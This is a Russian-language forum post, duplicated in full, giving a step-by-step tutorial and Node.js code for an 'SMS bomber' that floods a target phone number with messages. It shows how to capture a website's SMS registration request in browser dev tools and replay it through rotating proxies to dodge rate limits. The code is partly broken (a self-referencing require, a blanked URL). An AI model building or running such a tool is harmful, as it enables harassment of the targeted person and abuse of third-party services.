Frager
New member
Для начала нам надо установить node.js
инструкция -
Затем заходим на сайт для отправки смс, я буду использовать этот-(не реклама)
Открываем панель разработчика, тогда нажимаем кнопку войти, вводим номер который будем бомбить, нажимаем зарегистрироваться-
В панели разработчика переходим в вкладку Network , видим как идут запросы. Нас интересует только один-
Видим адрес куда идет запрос, на него мы и будем слать запросы. Прокручиваем вниз и видим тело запроса-
Перед тем как переходить к бомберу перейдите на этот сайт и первую смс пусть отправит сайт а не бомбер это ВАЖНО
Теперь переходим к коду
Создаем папку для нашего бомбера. В папке создаем два файлаzapros.jsиindex.js
Открываем командную строку (для Виндовс ctr+ r -> cmd)
В командной строке переходим в нашу папку и пишем такое
npm init -y
npm install axios
npm install axios-https-proxy-fix
npm install linebyline
Затем открываем наш файлzapros.jsи пишем такой код
const axios = require("axios-https-proxy-fix"); //подключаем модуль
module.exports = function requestPost(host, port) {
let instance = axios.create({
proxy: { //здесь будут наши прокси
host: host,
port: port
}
});
instance
.post(", { //сюда вставляем сылку на запрос
login: 380987777777 // номер который будем бомбить (Можно и RU и UA)
})
.then(response => {
if(response.status === 200) {
return console.log(Запрос успешно выполнен!)
}
else {
return console.log(Неудачный запрос иле лимит смс)
}
})
.catch((err) => {
console.log(`Error, статус код ${err.response.status}`);
});
};
Теперь создаем файлproxy.txtтуда надо будет записать прокси в формате hostort
Далее открываем файлindex.jsи пишем туда такой код
const fs = require("fs");
const readline = require("linebyline");
let zapros = require("./index.js"); // подключаем файл запроса и модули
rl = readline("./proxy.txt"); // подключаем файл с прокси
let proxies = [];// масив прокси
//Считываем файл прокси//
let promise = new Promise((resolve, reject) => {
let count = 0;
rl.on("line", line => {
count++;
let lineLength = line.split(":");
console.log("loading...");
proxies.push(lineLength);
});
rl.on("close", () => {
resolve(count);
});
})
.then(count => {
console.log(`Количество прокси ${count}`);
let index = 0;
setInterval(() => {
if (index < proxies.length-2) {
let host = proxies[index][0];
let port = proxies[index][1];
zapros(host, port); // отправляем запрос в там тот файл
index++;
console.log(`Сделан запрос через прокси ${host}:${port}`);
} else {
index = 0;
console.log(`restart`);
}
}, 5000); // Ставим задержку между запросами не менше 1с. (1с. = 1000)
})
.catch(err => console.log(err));
Теперь загружаем в файлproxy.txtсвои прокси. Переходим в командную строку где открыта наша папка и запускаем наш бомбер командой
node index.js
Ну вот и все наш бомбер готов
Прокси нужны для того чтобы посылать сразу пару запрос
инструкция -
Затем заходим на сайт для отправки смс, я буду использовать этот-(не реклама)
Открываем панель разработчика, тогда нажимаем кнопку войти, вводим номер который будем бомбить, нажимаем зарегистрироваться-
В панели разработчика переходим в вкладку Network , видим как идут запросы. Нас интересует только один-
Видим адрес куда идет запрос, на него мы и будем слать запросы. Прокручиваем вниз и видим тело запроса-
Перед тем как переходить к бомберу перейдите на этот сайт и первую смс пусть отправит сайт а не бомбер это ВАЖНО
Теперь переходим к коду
Создаем папку для нашего бомбера. В папке создаем два файлаzapros.jsиindex.js
Открываем командную строку (для Виндовс ctr+ r -> cmd)
В командной строке переходим в нашу папку и пишем такое
npm init -y
npm install axios
npm install axios-https-proxy-fix
npm install linebyline
Затем открываем наш файлzapros.jsи пишем такой код
const axios = require("axios-https-proxy-fix"); //подключаем модуль
module.exports = function requestPost(host, port) {
let instance = axios.create({
proxy: { //здесь будут наши прокси
host: host,
port: port
}
});
instance
.post(", { //сюда вставляем сылку на запрос
login: 380987777777 // номер который будем бомбить (Можно и RU и UA)
})
.then(response => {
if(response.status === 200) {
return console.log(Запрос успешно выполнен!)
}
else {
return console.log(Неудачный запрос иле лимит смс)
}
})
.catch((err) => {
console.log(`Error, статус код ${err.response.status}`);
});
};
Теперь создаем файлproxy.txtтуда надо будет записать прокси в формате hostort
Далее открываем файлindex.jsи пишем туда такой код
const fs = require("fs");
const readline = require("linebyline");
let zapros = require("./index.js"); // подключаем файл запроса и модули
rl = readline("./proxy.txt"); // подключаем файл с прокси
let proxies = [];// масив прокси
//Считываем файл прокси//
let promise = new Promise((resolve, reject) => {
let count = 0;
rl.on("line", line => {
count++;
let lineLength = line.split(":");
console.log("loading...");
proxies.push(lineLength);
});
rl.on("close", () => {
resolve(count);
});
})
.then(count => {
console.log(`Количество прокси ${count}`);
let index = 0;
setInterval(() => {
if (index < proxies.length-2) {
let host = proxies[index][0];
let port = proxies[index][1];
zapros(host, port); // отправляем запрос в там тот файл
index++;
console.log(`Сделан запрос через прокси ${host}:${port}`);
} else {
index = 0;
console.log(`restart`);
}
}, 5000); // Ставим задержку между запросами не менше 1с. (1с. = 1000)
})
.catch(err => console.log(err));
Теперь загружаем в файлproxy.txtсвои прокси. Переходим в командную строку где открыта наша папка и запускаем наш бомбер командой
node index.js
Ну вот и все наш бомбер готов
Прокси нужны для того чтобы посылать сразу пару запрос